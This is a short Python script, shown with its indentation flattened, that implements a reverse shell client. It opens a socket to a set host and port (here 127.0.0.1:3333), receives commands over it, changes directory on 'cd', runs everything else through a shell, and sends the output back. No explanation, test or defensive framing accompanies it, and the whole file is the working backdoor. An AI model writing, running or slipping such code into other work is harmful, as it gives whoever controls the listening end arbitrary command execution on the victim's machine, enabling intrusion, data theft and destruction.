import os

import socket

import subprocess

def shellModule():

global host

global port

global s

try:

host = '127.0.0.1'

port = 3333

s = socket.socket()

except socket.error as msg:

print("Socket creation error: " + str(msg))

try:

s.connect((host, port))

except socket.error as msg:

print("Socket connection error: " + str(msg))

while True:

data = s.recv(1024)

if data[:2].decode("utf-8") == 'cd':

os.chdir(data[3:].decode("utf-8"))

if len(data) > 0:

cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

output_bytes = cmd.stdout.read() + cmd.stderr.read()

output_str = str(output_bytes, "utf-8")

s.send(str.encode(output_str + str(os.getcwd()) + '> '))

print(output_str)

s.close()